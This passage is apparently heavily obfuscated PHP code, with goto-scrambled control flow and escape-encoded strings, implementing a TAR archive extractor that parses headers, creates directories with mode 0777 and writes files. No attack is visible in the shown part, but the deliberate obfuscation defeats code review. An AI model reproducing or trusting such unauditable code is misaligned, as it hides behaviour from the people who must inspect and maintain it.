goto uXk7k; isUK_: EMYiq: goto BxFTt; LjALo: oPS3V: goto cnkoB; zAqMP: $USx8j = array(); goto PMmDe; Yqq6O: goto G_ca1; goto cegNA; stE46: acsPt: goto AD2tH; LNf7F: CUI84: goto YHb4K; MlxeY: G_ca1: goto dEClX; mjK0z: USe7s: goto gn1_1; e0DJw: goto tfGBO; goto Pns1f; yAqys: MJmHc: goto WnSpv; hiZGD: goto pckqD; goto yzu9v; Ud1Yy: xEHHg: goto s00DQ; f0yCY: Nmk4C: goto ChVK0; bOToW: iz5Vr: goto blgn1; zXkks: gM9hN: goto yLgWf; Y5Hry: WdEcH: goto FddkW; Yzioc: TnFfS: goto k6Qbx; A6HNO: goto x1Bwi; goto sQDPM; qxGaW: goto AWKpo; goto S1S_c; yXT4q: PREXp: goto Hd3nc; fveFb: goto VxRsV; goto Kj2t_; MkW2z: } function Q7c5y($VLMCB) { goto gTd0Y; MxBzG: if (strlen($m122z = $this->xJGv2()) != 0) { goto JCQW6; } goto VRWJ9; GiVHY: if ($pTb54 < $t2l7Z) { goto JDOlH; } goto AN5J_; XRYi5: ktjaq: goto c9rYH; yFjAJ: gThLJ: goto IpjsD; PcUyT: X3qmi: goto iJct4; CumsY: ATkcW: goto FhKIi; dUQ_K: goto X_2EX; goto dqjD_; Rn_tv: NpADl: goto CJXn0; aVV0p: fwrite($e2Q0i, $J49gX, $JQjPf["\163\x69\172\x65"] % 512); goto HOGR2; RoQPh: goto XIHfx; goto EeKGI; UHj12: wqBot: goto OLtBR; LQOGQ: wKw8v: goto m1NcD; F5Z6d: EE5WU: goto UKAE8; KkCn6: goto ktjaq; goto ehAMU; rbP0c: goto LM2I2; goto JCvGP; dowz1: goto tRxXp; goto CygM1; tQ_lz: goto LM8uk; goto YZi15; KzWBJ: goto bsMuR; goto CHzUc; ipaF2: goto bF5aa; goto PaA0M; KZlb2: X4kNW: goto BknbX; PID3T: Hl4kn: goto Zl25W; E9IeF: touch($JQjPf["\x66\x69\x6c\145\156\141\155\x65"], $JQjPf["\x74\x69\x6d\145"]); goto eEPZ0; sjW5O: $t2l7Z = floor($JQjPf["\163\151\172\x65"] / 512); goto HPrZh; Zgbl8: ni2I1: goto aMf8j; VHtjn: goto qIMGr; goto VJqPr; UcZqJ: goto gXiIL; goto CumsY; AgDbZ: goto pAfLl; goto vMaqN; d5mXH: ZrPKf: goto s5A8Q; vvYEB: LL5aN: goto sjW5O; vlq1D: if (!(substr($JQjPf["\x66\x69\x6c\145\156\x61\x6d\145"], 0, 1) == "\x2f")) { goto YmZTK; } goto F0rrU; Ns997: $this->p6jLS[] = jNGiJ("\x53\151\172\x65\x20\157\146\x20\146\x69\x6c\x65") . "\x20" . $JQjPf["\x66\x69\x6c\145\x6e\141\x6d\x65"] . "\x20" . jNgij("\151\163\40\151\156\x63\x6f\x72\x72\145\x63\164"); goto MSoxE; TNWdu: QX6Vk: goto hxfmL; Vm62N: goto jOAoB; goto CziGD; vuVuV: return true; goto yvs3g; A9rJd: sQyYz: goto ZdvB9; s8OK9: goto nDt2i; goto R3_uy; bz_3e: X_2EX: goto s8OK9; VFmyx: goto guN3b; goto zsNSX; IIRGt: haOFU: goto gEf8s; Wnxve: bsMuR: goto PQxiO; c8HAQ: goto vdOL8; goto j7WYR; eISkH: PiYTw: goto oMrjs; SnwP3: LYNsq: goto qFluk; mTb8J: $this->p6jLS[] = jNGiJ("\x43\x61\156\x6e\157\x74\x20\x63\x72\x65\x61\x74\145\x20\x64\x69\x72\145\143\164\x6f\162\x79") . "\x20" . jNGiJ("\40\146\157\162\40") . $JQjPf["\146\x69\154\145\x6e\x61\155\145"]; goto h1uuI; JKr7a: qIMGr: goto mTb8J; MSoxE: goto B6xwp; goto YUi6A; HcBwP: BtZ3X: goto WtSFk; Fgrlt: J55uw: goto mq9Nd; DNWCS: goto VjS6X; goto JKr7a; FMJ_2: goto Hl4kn; goto Wlgsd; SphOx: goto dxkp8; goto tpxxB; EJsff: $pTb54 = 0; goto XZnBN; PaBV1: h417A: goto SphOx; E7Mpn: goto ZBqoL; goto l1HyY; HdtWL: goto dsoLd; goto WBEJI; Pe1Af: if ($JQjPf["\163\151\172\145"] % 512 != 0) { goto k1B8s; } goto ipaF2; foseZ: BQ_04: goto Wrd4o; pGCbr: goto BQ_04; goto QGLjc; KFdm_: tRxXp: goto HcBwP; XWEJx: v8CtP: goto eYgbL; CJXn0: return false; goto I1ki2; P8__X: goto JVNjT; goto TNWdu; ehAMU: wDp1M: goto Myei9; Yob73: goto THY3k; goto yFjAJ; vKP72: BZfkL: goto UmRDi; UiTAn: goto NpADl; goto rDXTE; OcgaN: goto WVVmg; goto UKWcV; KmqEN: jxP0K: goto KXemO; lHxe3: yYENl: goto MRZAn; LY9Qq: FAQJt: goto E1jbu; d2YvY: goto LtxfM; goto yQZpa; iyK_q: UU9Bb: goto Ff2er; QPYaH: YmZTK: goto XqyU9; mMtSu: goto bwi9Q; goto lp3T4; jeaQt: T5Jw5: goto Ns997; Gl9xy: nSeZk: goto dmaOq; f4jgC: goto CiUFH; goto PDNaM; qYSID: goto EIu42; goto dQwCh; Qmz5W: hSr2A: goto YxPxA; j7WYR: dsoLd: goto lE9k9; tO9zE: goto jxP0K; goto FpXox; QmnK7: bF5aa: goto uSdQs; U_PRe: goto YC3i6; goto Fq6pL; kyckC: return false; goto Hcjgc; mprC0: if (!(($e2Q0i = fopen($JQjPf["\146\151\154\145\156\x61\x6d\145"], "\167\x62")) == 0)) { goto gvICe; } goto j_YpC; eVLe1: clearstatcache(); goto NZ4Pj; CGFWr: goto kwge7; goto EdJ7_; oqcHK: goto MC3cC; goto BMphV; EF03P: goto ZqPXZ; goto vKP72; CanFO: if (!file_exists($JQjPf["\146\151\154\145\x6e\x61\x6d\x65"])) { goto GvdWM; } goto qYSID; ZI1tr: jfV7Z: goto nFFDC; eEPZ0: goto QTFie; goto IIRGt; E0StX: HQ0Bz: goto Gl9xy; CRzzc: zSJUr: goto bS_7e; l1HyY: F9F1f: goto tQ_lz; C0cSt: goto Uib0a; goto MXikT; XdavI: goto jOAoB; goto jx7e3; uSdQs: goto mtHhe; goto KEJhF; hMHfC: JCQW6: goto tO9zE; Awjog: $JQjPf["\146\151\154\145\156\x61\155\x65"] = $VLMCB . $JQjPf["\146\151\x6c\x65\156\x61\x6d\x65"]; goto rvogP; Cy9yn: HGvuP: goto OyFRX; mhurh: z0iWb: goto I6tlB; UKAE8: goto NlVCH; goto oMXPy; ZtIXv: PdhXL: goto f4bnf; TCnJG: fJhJ0: goto yFzZ8; j_YpC: goto IfZ12; goto QG82w; heUfp: goto CPGnz; goto P8__X; P1mqP: goto DMqFX; goto mhurh; TOIFT: ny6b6: goto dlGZ9; YnYHM: goto Xedxo; goto IlG0N; hwpkt: goto pYseW; goto uHZnD; UmRDi: goto mWR4p; goto rboJc; Pye71: goto BtZ3X; goto f4jgC; JAy_e: goto sNCBT; goto Wnxve; qIdFc: UZvWb: goto ZiN2k; BgJOq: goto rRBgW; goto yIz7Z; nFFDC: hkBdd: goto VHtjn; yQZpa: goto wKw8v; goto M0yk0; JCvGP: fvHD0: goto QBiRC; g2pcH: $J49gX = $this->XJGv2(); goto T9C6L; qn5f0: EIu42: goto Ql8X5; F0rrU: goto ttNOT; goto QPYaH; kkTPm: Xedxo: goto EB_nD; ZSN18: t7ht7: goto Pe1Af; KEJhF: ME7x0: goto XdavI; PNUdY: goto lx958; goto Fgrlt; CHzUc: VjS6X: goto f_R20; QLGhO: goto WEMyz; goto PcZ7D; QZaNy: if ($pTb54 < $t2l7Z) { goto F9F1f; } goto E7Mpn; IlG0N: gXiIL: goto E_Cij; MQzmS: kPVmo: goto P1mqP; vmaf0: goto zSJUr; goto U2dDS; V9n8L: goto HRjha; goto QuhAd; e34jr: fVVco: goto HdtWL; CkK0X: if (!file_exists($JQjPf["\146\151\x6c\145\x6e\141\x6d\x65"])) { goto Z5wQk; } goto fxdds; HPrZh: goto G3ClI; goto HEVkZ; BeS4M: $this->p6jLS[] = jnGIj("\103\141\156\x6e\x6f\164\x20\143\x72\145\141\164\145\40\x64\x69\162\145\x63\x74\157\x72\171") . "\40" . $JQjPf["\146\151\x6c\145\156\x61\155\x65"]; goto QLGhO; rboJc: tRWXv: goto PID3T; uHZnD: sNCBT: goto Mg378; nqxhz: goto iy8nM; goto TIFuX; b_Tnd: zvYdA: goto uFvGg; JBwbY: ttNOT: goto YblRO; bttle: gQiaJ: goto VFmyx; lp3T4: mrPfc: goto Yob73; LFWdM: goto hSr2A; goto SnwP3; lX3gF: svagi: goto S633x; Fq6pL: tnCVU: goto q_H3i; RUCkf: guN3b: goto GbBEi; jx7e3: goto UY64I; goto jaTqQ; VRWJ9: goto kPVmo; goto hMHfC; OVd8i: LFkOk: goto aVV0p; LKd_m: bwi9Q: goto V9n8L; BBX2X: eXWLA: goto xNc90; Ntt3a: lFGng: goto eVLe1; zP29t: $JQjPf["\146\151\x6c\x65\156\141\155\x65"] = $VLMCB . "\57" . $JQjPf["\x66\151\154\145\156\141\x6d\x65"]; goto I9DQB; ZEGHw: goto nSeZk; goto lOcI8; HOGR2: goto yT2qo; goto TOIFT; zbxRr: SmJhP: goto RUDEj; vjeNI: goto ZrPKf; goto qIdFc; Vs_P_: goto Pepj0; goto qK2Pt; Jt88A: goto xnNZd; goto tomIa; TIkQq: goto C2Ch6; goto xPvey; hnOvH: goto X4kNW; goto T2dKV; bLQy2: LOcXH: goto b2Ux8; vaqVz: goto EdFar; goto ppGZ3; dEiDC: Z5wQk: goto uUsE2; Mg378: $t2l7Z = floor($JQjPf["\x73\151\172\145"] / 512); goto dLLP5; w1Q0a: $this->p6jLS[] = jngIj("\106\x69\154\x65\x20") . $JQjPf["\146\x69\x6c\145\156\141\x6d\x65"] . JNGij("\x20\x61\x6c\x72\145\x61\144\171\x20\145\x78\x69\163\x74\163") . JNGiJ("\40\x61\163\x20\x66\x6f\154\x64\x65\162"); goto UiTAn; wmUFk: nTwx0: goto iDjYh; HEVkZ: pVSr1: goto F5Z6d; YblRO: goto kUUR8; goto CH4d9; IpjsD: goto U4Lr7; goto jNfBJ; cV13w: CiUFH: goto XRYi5; QM36W: cAtjV: goto itPJK; OLtBR: gPr7n: goto hnOvH; UJEwG: Sn0e2: goto xy2y3; Myei9: goto G6MPL; goto nQtcC; i407_: Be70F: goto BeS4M; F7zr5: T9dD7: goto foseZ; jwa_f: if (substr($VLMCB, -1) == "\x2f") { goto wDp1M; } goto KkCn6; eC6uo: goto hkBdd; goto bLQy2; YUi6A: ayn5F: goto MQzmS; TBlFH: goto pVSr1; goto kkTPm; iJct4: goto t7ht7; goto oh1uF; LHLq2: return false; goto YnYHM; wNo9V: mtHhe: goto PZW0Z; vMaqN: LM8uk: goto sVHMD; tvf3F: goto PdhXL; goto zbxRr; P1f8s: vdOL8: goto HO28a; BMphV: Uib0a: goto HyzTi; hAWrS: goto FCWGO; goto BBX2X; Xdv3I: CPGnz: goto iNoDQ; PaA0M: k1B8s: goto r5jRt; qDN72: goto xr_23; goto hiojh; UKWcV: C2Ch6: goto yGKWv; aOupn: o0X6j: goto Xdv3I; dQwCh: GvdWM: goto TyyW0; PZW0Z: fclose($e2Q0i); goto rbP0c; AN5J_: goto X3qmi; goto m0RB4; gEf8s: goto U4Lr7; goto Be1sh; EB_nD: YC3i6: goto bmVcM; yGKWv: $A3LzJ = ''; goto TBlFH; UEC6R: if ($VLMCB != "\x2e\57" && $VLMCB != "\x2f") { goto cKJ8V; } goto pGCbr; dqjD_: M_MuS: goto MxBzG; T2dKV: a77dz: goto R7HID; xNc90: U2gCy: goto tvf3F; CTRE6: if (substr($JQjPf["\146\x69\x6c\145\156\141\x6d\145"], 0, 1) == "\57" && $A3LzJ == '') { goto fVVco; } goto K9SBp; lE9k9: $A3LzJ = "\57"; goto RoQPh; EeKGI: v8RVT: goto g2pcH; eQkvI: goto Wt3pZ; goto SyLGp; dLLP5: goto n7Zwl; goto p8DYI; wTwjN: goto sQyYz; goto wmUFk; bKRDn: if ($VLMCB == '' || substr($VLMCB, 0, 1) != "\57" && substr($VLMCB, 0, 3) != "\x2e\56\57" && !strpos($VLMCB, "\72")) { goto nTwx0; } goto wTwjN; S633x: clearstatcache(); goto iDMMO; aakk7: tRfi4: goto B76JD; gTd0Y: goto fvHD0; goto wCQdZ; E8D4h: goto qGX9z; goto Xbpdb; Ql8X5: goto MQxr6; goto E0StX; oh1uF: B6xwp: goto hLkNW; nQtcC: L6IqB: goto XPZy9; XqyU9: goto d05_N; goto eISkH; K9SBp: goto zvYdA; goto e34jr; rvogP: goto QeelX; goto ZHDab; VJqPr: Wt3pZ: goto heUfp; U2dDS: mWR4p: goto mprC0; EdJ7_: goto jSfeY; goto FAFWd; kYAVu: LtxfM: goto R6foX; I_W4x: WEMyz: goto O7B5S; hLkNW: return false; goto vjeNI; M_mYr: U4Lr7: goto E8D4h; SyLGp: MQxr6: goto kYAVu; bbF57: j45Vo: goto CkK0X; XPZy9: goto h417A; goto ZwoV0; uFvGg: goto J55uw; goto nCQzW; xPvey: eyC0k: goto zawsL; uNZTc: HRjha: goto kyckC; iNoDQ: goto tAW6Z; goto YR46o; Qm1EU: goto Qz2Fr; goto cv2RO; WBEJI: Qz2Fr: goto PbkT1; c9GC8: goto fqtGl; goto qPIEj; ZiN2k: $m122z = $this->XJGv2(); goto W0bMX; FkhOa: goto fUijx; goto uhqLV; MXikT: kUUR8: goto Awjog; LFxOQ: IfZ12: goto cUB94; AIXkL: goto M_MuS; goto LQOGQ; s5A8Q: fqtGl: goto Y3n3Y; xy2y3: $this->p6jLS[] = JNGij("\103\x61\x6e\156\157\164\x20\x77\x72\151\x74\145\40\164\157\40\146\x69\154\145") . "\x20" . $JQjPf["\x66\151\154\x65\x6e\x61\x6d\x65"]; goto KzWBJ; PDNaM: LM2I2: goto E9IeF; tpxxB: G6MPL: goto qRN30; q25nz: goto svagi; goto LY9Qq; HyzTi: $this->p6jLS[] = JNgij("\x43\x61\x6e\x6e\157\164\40\143\162\x65\x61\x74\145\x20\144\x69\x72\x65\143\164\157\x72\171") . "\56\x20" . jngij("\x46\x69\x6c\145\40") . $JQjPf["\x66\151\154\145\x6e\141\155\x65"] . JngIJ("\x20\141\x6c\162\x65\x61\x64\x79\40\x65\x78\151\x73\x74\163"); goto qqTgb; rnQUi: goto ctZ6W; goto YABsR; aOSB1: if ($this->rvxLZ($m122z, $JQjPf)) { goto mrPfc; } goto mMtSu; Sl502: goto a77dz; goto q5xnr; I9DQB: goto v8CtP; goto bbF57; p8DYI: LJRRb: goto wDk3s; GbBEi: $g6Xdn = ''; goto JAy_e; Cz0fq: if (G1Bwn($JQjPf["\146\x69\154\x65\x6e\x61\155\145"]) != $JQjPf["\x73\151\172\x65"]) { goto Iwvrb; } goto c9GC8; f4bnf: if (is_file($JQjPf["\x66\x69\x6c\x65\156\x61\155\145"]) && $JQjPf["\x74\x79\160\x65\146\x6c\x61\x67"] == "\x35") { goto mWQm5; } goto ZEGHw; Jx2Ww: xnNZd: goto Vm62N; I1ki2: goto eXWLA; goto OVd8i; mUfM8: yT2qo: goto QmnK7; itPJK: $J49gX = $this->xJGV2(); goto UcZqJ; bS_7e: iy8nM: goto hwpkt; QBiRC: $VLMCB = str_replace("\134", "\57", $VLMCB); goto kH8iP; Hcjgc: goto iomD4; goto UJEwG; FhKIi: $pTb54++; goto dUQ_K; wG9ft: goto T5Jw5; goto WRLw_; YxPxA: goto SmJhP; goto Cy9yn; uUsE2: goto ni2I1; goto P1f8s; HO28a: $g6Xdn .= $J49gX; goto vaqVz; lOcI8: mWQm5: goto C0cSt; Zl25W: goto UZvWb; goto RedgT; E_Cij: $g6Xdn .= substr($J49gX, 0, $KjNv5); goto hl4t1; KXemO: if (!$this->RvXlZ($m122z, $JQjPf)) { goto tnCVU; } goto U_PRe; hqu6W: PLfFc: goto d2YvY; sVHMD: $J49gX = $this->xjgV2(); goto c8HAQ; q5xnr: d05_N: goto zP29t; fxdds: goto eaXkw; goto dEiDC; PQxiO: return false; goto Qm1EU; R6foX: goto ny6b6; goto I_W4x; ZHDab: jOcNd: goto jwa_f; m1NcD: ZqPXZ: goto qDN72; noaIH: XIHfx: goto b_Tnd; kH8iP: goto GxUPQ; goto TCnJG; WEqBU: goto HGvuP; goto GzSQ9; RUDEj: if ($JQjPf["\x74\x79\x70\145\x66\x6c\x61\x67"] == "\x4c") { goto gQiaJ; } goto YsZba; ZwoV0: goto jl_Lf; goto RUCkf; T9C6L: goto LFkOk; goto UHj12; zawsL: eaXkw: goto Sl502; uhqLV: D60_l: goto aOSB1; cUB94: goto Sn0e2; goto ZtIXv; qPIEj: Iwvrb: goto wG9ft; RdFpf: jl_Lf: goto LKd_m; WRLw_: lUqUM: goto Pye71; XZnBN: goto o0X6j; goto KZlb2; E1jbu: if (($KjNv5 = $JQjPf["\163\x69\172\145"] % 512) != 0) { goto OLaWx; } goto FMJ_2; aDX33: WVVmg: goto UEC6R; XuQpo: $JQjPf["\x66\x69\154\145\x6e\x61\155\145"] = $g6Xdn; goto g62Nf; cv2RO: dxkp8: goto vuVuV; hl4t1: goto tRWXv; goto oNvMw; O7B5S: return false; goto vmaf0; lK7pM: jOAoB: goto AIXkL; lAckK: goto ATkcW; goto uNZTc; nWzEN: goto lUqUM; goto QfcUQ; PcZ7D: DMqFX: goto Bc1hY; QuhAd: THY3k: goto XuQpo; W0bMX: goto D60_l; goto ZI1tr; jNfBJ: goto eyC0k; goto lX3gF; oNvMw: EdFar: goto zqj3y; pJMKu: nDt2i: goto T2LH1; OnvZ3: goto mmEci; goto Rn_tv; Xbpdb: xpi80: goto lK7pM; hiojh: QTFie: goto CGFWr; FcKBK: lPVqO: goto P_KMF; tomIa: gIyfa: goto dT8qw; Bc1hY: return true; goto Lu7uv; Y3n3Y: goto PLfFc; goto vvYEB; iDjYh: goto PiYTw; goto aakk7; U1EcA: goto cAtjV; goto XWEJx; b2Ux8: goto gThLJ; goto B4PA9; FpXox: pAfLl: goto A9rJd; P_KMF: ZBqoL: goto Nj5Jp; XNq78: fggIq: goto BgJOq; GzSQ9: pYseW: goto qn5f0; Lu7uv: goto fJhJ0; goto d5mXH; oMXPy: MC3cC: goto pJMKu; QYeWu: goto wqBot; goto noaIH; B76JD: return false; goto hAWrS; Z58Yt: IwlVR: goto Cz0fq; nCQzW: FCWGO: goto M_mYr; r5jRt: goto v8RVT; goto aDX33; ZdvB9: goto lFGng; goto ZSN18; h1uuI: goto tRfi4; goto Z58Yt; udKvQ: n2bM4: goto TIkQq; NjB2i: goto haOFU; goto RdFpf; M0yk0: xr_23: goto CanFO; q_H3i: goto QZhpi; goto jeaQt; R3_uy: goto lPVqO; goto aOupn; eYgbL: goto yYENl; goto Vs_P_; u674a: if (!($JQjPf["\164\x79\160\145\x66\x6c\x61\147"] == "\65")) { goto BZfkL; } goto EF03P; R7HID: if (@is_dir($JQjPf["\146\151\x6c\145\x6e\x61\x6d\145"]) && $JQjPf["\164\171\x70\x65\146\x6c\x61\147"] == '') { goto fggIq; } goto yqVLq; TyyW0: goto UU9Bb; goto FcKBK; T2LH1: goto GAFE1; goto F7zr5; YR46o: lx958: goto nmBkC; TIFuX: HEuyu: goto Mpscd; rDXTE: fUijx: goto WYLSM; yqVLq: goto U2gCy; goto XNq78; qRN30: $VLMCB = substr($VLMCB, 0, strlen($VLMCB) - 1); goto nWzEN; f_R20: $this->p6jLS[] = jngIJ("\103\x61\156\156\157\164\x20\x77\162\151\164\x65\x20\164\x6f\x20\x66\151\154\145") . "\56\x20" . JnGIJ("\106\x69\x6c\145\40") . $JQjPf["\x66\x69\154\145\x6e\141\x6d\145"] . JNgij("\40\141\x6c\x72\145\141\144\171\40\145\x78\151\163\164\163"); goto iHaVs; dmaOq: goto V4XuH; goto i407_; Wrd4o: goto j45Vo; goto xIhuS; YABsR: JNvPA: goto DNWCS; mq9Nd: $this->cXu6Y[] = $A3LzJ; goto FkhOa; uS3Tf: if (!is_writeable($JQjPf["\146\151\x6c\x65\x6e\141\155\145"])) { goto JNvPA; } goto rnQUi; B4PA9: tAW6Z: goto GiVHY; CH4d9: mmEci: goto iD6Oy; c9rYH: goto LXU8K; goto Jx2Ww; pkRo_: goto LL5aN; goto bz_3e; iD6Oy: ctZ6W: goto NjB2i; Nj5Jp: goto FAQJt; goto xPZ1z; yIz7Z: V4XuH: goto uS3Tf; WtSFk: goto jOcNd; goto cqDst; RedgT: GxUPQ: goto bKRDn; Be1sh: goto jfV7Z; goto GH1og; yvs3g: goto gIyfa; goto Ntt3a; CziGD: goto ayn5F; goto Zgbl8; xIhuS: rRBgW: goto w1Q0a; mYkZ3: UY64I: goto Qmz5W; BknbX: $pTb54++; goto eQkvI; iHaVs: goto z0iWb; goto KFdm_; dlGZ9: if (($A3LzJ = dirname($JQjPf["\x66\151\154\145\x6e\141\155\x65"])) == $JQjPf["\x66\x69\x6c\x65\156\x61\155\145"]) { goto n2bM4; } goto Uax01; WYLSM: $this->BCXpT[] = $JQjPf["\x66\x69\x6c\x65\x6e\141\x6d\x65"]; goto Jt88A; zsNSX: QZhpi: goto LHLq2; jaTqQ: QeelX: goto lHxe3; NZ4Pj: goto xpi80; goto mYkZ3; iDMMO: goto IwlVR; goto QM36W; g62Nf: goto L6IqB; goto cV13w; hxfmL: if ($JQjPf["\x66\151\154\x65\x6e\x61\155\x65"] == '') { goto LYNsq; } goto LFWdM; Ff2er: if (!mkdir($JQjPf["\146\151\x6c\145\156\141\155\145"], 0777)) { goto HEuyu; } goto nqxhz; OyFRX: $J49gX = $this->xJgV2(); goto PNUdY; bmVcM: goto QX6Vk; goto wNo9V; qj5gQ: $pTb54 = 0; goto oqcHK; Uax01: goto EE5WU; goto udKvQ; qK2Pt: iomD4: goto PaBV1; qqTgb: goto LJRRb; goto KmqEN; YsZba: goto HiWQO; goto bttle; YZi15: qGX9z: goto u674a; MRZAn: goto T9dD7; goto iyK_q; nmBkC: fwrite($e2Q0i, $J49gX, 512); goto QYeWu; ppGZ3: GAFE1: goto QZaNy; PbkT1: kwge7: goto q25nz; Mpscd: goto Be70F; goto CRzzc; xPZ1z: Pepj0: goto JBwbY; aMf8j: if (!($this->nphK9($JQjPf["\x74\171\160\145\146\154\141\x67"] == "\65" ? $JQjPf["\x66\151\x6c\x65\x6e\141\155\x65"] : dirname($JQjPf["\146\151\x6c\x65\156\x61\x6d\x65"])) != 1)) { goto LOcXH; } goto eC6uo; FAFWd: jSfeY: goto LFxOQ; QGLjc: cKJ8V: goto dowz1; QfcUQ: G3ClI: goto EJsff; wDk3s: return false; goto BzV2A; CygM1: LXU8K: goto vlq1D; wCQdZ: n7Zwl: goto qj5gQ; cqDst: NlVCH: goto CTRE6; zqj3y: w8Jk9: goto lAckK; GH1og: JVNjT: goto PcUyT; dT8qw: HiWQO: goto OcgaN; Wlgsd: OLaWx: goto U1EcA; qFluk: goto ME7x0; goto mUfM8; m0RB4: JDOlH: goto WEqBU; QG82w: gvICe: goto pkRo_; BzV2A: goto HQ0Bz; goto hqu6W; oMrjs: $VLMCB = "\x2e\57" . $VLMCB; goto AgDbZ; I6tlB: return false; goto OnvZ3; yFzZ8: } function nPhK9($zS4x_) { goto mAXG9; uMdBg: return false; goto q9Q4c; DxsdR: ic8jH: goto BIbFR; n_Pt6: goto ic8jH; goto HVGwA; CPKls: goto KsToP; goto hExnK; W_zp0: if ($s1DOV != $zS4x_ and $s1DOV != '' and !$this->nPhK9($s1DOV)) { goto hqaGx; } goto QgN_i; ZBYxE: uPFfG: goto u6m_w; HVGwA: fratt: goto tSzDR; gMRFF: mtTmU: goto TFJoN; u6m_w: goto nWNoH; goto DxsdR; Ifpik: hqaGx: goto nvGo7; aBqAt: JEfRs: goto r9502; QgN_i: goto ZSGPQ; goto Ifpik; hExnK: oZDJ0: goto EFRt3; hGndy: PsKNn: goto lpI3l; mAXG9: goto JbzE6; goto ZahFe; Rxqjw: goto Xx47s; goto aBqAt; Nx1en: goto PsKNn; goto trEQe; NxYKW: nWNoH: goto uqv3j; MagXX: return true; goto QyjI6; nvGo7: goto A2NUR; goto gMRFF; FEO0E: ZSGPQ: goto SNCwE; uqv3j: $this->p6jLS[] = jNgIJ("\x43\x61\156\156\157\x74\40\143\162\x65\141\164\145\40\x64\151\162\x65\143\x74\x6f\162\171") . "\x20" . $zS4x_; goto Eb6Oe; Lrwm3: KsToP: goto W_zp0; lpI3l: if (@is_dir($zS4x_) or $zS4x_ == '') { goto JEfRs; } goto Rxqjw; I1fO3: goto GdBGg; goto bcAFK; nAtx4: N5OSH: goto JTnZp; MRZ5d: A2NUR: goto uMdBg; q9Q4c: goto QCliS; goto K5T0g; jyg5e: goto mtTmU; goto MRZ5d; QyjI6: goto oZDJ0; goto NxYKW; SNCwE: goto N5OSH; goto nAtx4; trEQe: SDtDB: goto ammLc; tSzDR: return false; goto jyg5e; GJuxU: goto wHpd2; goto ZBYxE; K5T0g: QCliS: goto FEO0E; r9502: goto SDtDB; goto Lrwm3; BIbFR: Xx47s: goto CPKls; JTnZp: if (!mkdir($zS4x_, 0777)) { goto uPFfG; } goto GJuxU; TFJoN: wHpd2: goto I1fO3; Eb6Oe: goto fratt; goto hGndy; ZahFe: GdBGg: goto MagXX; bcAFK: JbzE6: goto cSf1Z; cSf1Z: $s1DOV = dirname($zS4x_); goto Nx1en; ammLc: return true; goto n_Pt6; EFRt3: } function Rvxlz($m122z, &$JQjPf) { goto NYbXB; T7FhK: esfhw: goto pNiBZ; NPARc: if ($s0KJD == 256 && $JQjPf["\x66\151\x6c\x65\110\141\x73\x68"] == 0) { goto VXEQt; } goto Big6k; tHXiX: DAEVS: goto Yt9F2; FR2OF: O23d7: goto aVjJB; jOOqY: iIQg2: goto Q1EaK; HxCyp: maCKU: goto b6XoF; VWrUf: c5D8F: goto kCyUi; ccd5z: goto NVbWw; goto WcsWB; pR2e9: v3HxF: goto qEphx; Ai3tw: rr3TB: goto u2ioO; aU2O8: goto iIQg2; goto u8Ndv; l3kBL: FmeXM: goto etuqj; bZ5sY: HRrCJ: goto rSdn6; HAP45: if ($JQjPf["\x66\151\154\145\110\x61\x73\x68"] != $s0KJD) { goto sqj2d; } goto ahQPW; l74QN: $JQjPf["\146\151\x6c\145\110\141\163\x68"] = OctDec(trim($wNGCB["\x66\x69\154\x65\x48\141\163\x68"])); goto MTbwg; qdIDJ: goto maCKU; goto DAIzJ; ADurH: goto FkgVD; goto MKvpe; d0ylk: $JQjPf["\146\151\x6c\145\156\x61\155\x65"] = trim($wNGCB["\x66\151\154\145\x6e\141\155\145"]); goto lHuac; s1FIP: WHb0F: goto phUBK; jJKkW: goto fXuWn; goto K6Z79; b1nQ2: $s0KJD = 0; goto A670f; LdqUE: XWqRv: goto qdIDJ; J0gj4: IweNe: goto T0hNb; tr_1f: return true; goto pF4Xw; Adf3V: TiSbe: goto d0ylk; K2MTY: Fwyy2: goto MdscA; OyE8E: bdkMs: goto v18Ri; X7Brv: goto v3HxF; goto ovUeo; Kf3Zl: $s0KJD += ord("\40"); goto MyVbd; Fmom1: YqQS7: goto MrFoR; ejDKb: goto r2avv; goto VslIU; phUBK: goto MtogZ; goto ifDhz; dpqS6: uu45I: goto rcEQs; BzWwe: sqj2d: goto M0V4O; t5UkL: goto lAtPP; goto QJfXR; YpZca: VXEQt: goto aU2O8; iNSTq: $JQjPf["\163\x69\x7a\x65"] = 0; goto BkKRq; TTjol: goto vv6RS; goto om8O1; QvM1D: if (strlen($m122z) != 512) { goto Td3sM; } goto ChlGr; rSdn6: goto uu45I; goto ai5Ea; aVjJB: return true; goto ejDKb; FzYrq: $JQjPf["\x73\x69\172\145"] = OctDec(trim($wNGCB["\163\x69\x7a\145"])); goto edSw5; BkKRq: goto p6j2h; goto poJtC; Q1EaK: return true; goto H3OED; ahufV: $JQjPf["\x66\x69\154\145\x6e\x61\x6d\x65"] = ''; goto FSwQk; kCyUi: goto hHmU6; goto pi81g; uW_Q_: haBLY: goto sl30r; U3WV6: goto Y0dcV; goto pR2e9; pH6ld: goto bdkMs; goto J0gj4; IpQVa: goto dsKqj; goto XHuI1; zchYq: p6j2h: goto JKUEw; Yt9F2: $JQjPf["\x75\x73\145\162\111\x64\x65\156\164\x69\146\x69\x65\162"] = OctDec(trim($wNGCB["\165\163\145\x72\111\144\145\156\x74\151\x66\x69\x65\162"])); goto r2IIY; L5Fnj: NVbWw: goto NPARc; gaWJq: teMCj: goto b8Vgp; QoTyG: goto tKIzT; goto s1FIP; NF8PK: I0OH7: goto BMJcJ; JKUEw: Bug1e: goto hLy_C; XPlDm: goto DAEVS; goto A2TqJ; TNfAS: pF4UY: goto ITKzM; grHu0: tKIzT: goto BllWg; ChlGr: goto pt6Qo; goto uvC6z; pNiBZ: goto wHqMM; goto zchYq; idKS8: rUjnw: goto l74QN; GbrUH: if (strlen($m122z) == 0) { goto WHb0F; } goto QoTyG; jH_0t: $JQjPf["\x66\151\154\x65\x6e\141\x6d\x65"] = ''; goto aVHh_; QJfXR: OJHUc: goto WchWB; NfJq8: goto XWqRv; goto Cd4ta; zgOdJ: cb1by: goto HAP45; iWTVw: goto zOa7i; goto bZ5sY; vhJPV: return false; goto IFPg2; nw1oN: dsKqj: goto BBgLJ; rpKzm: $pTb54++; goto zrOpL; H3OED: goto Hv8Hj; goto qU_1U; GLK0Y: $wNGCB = 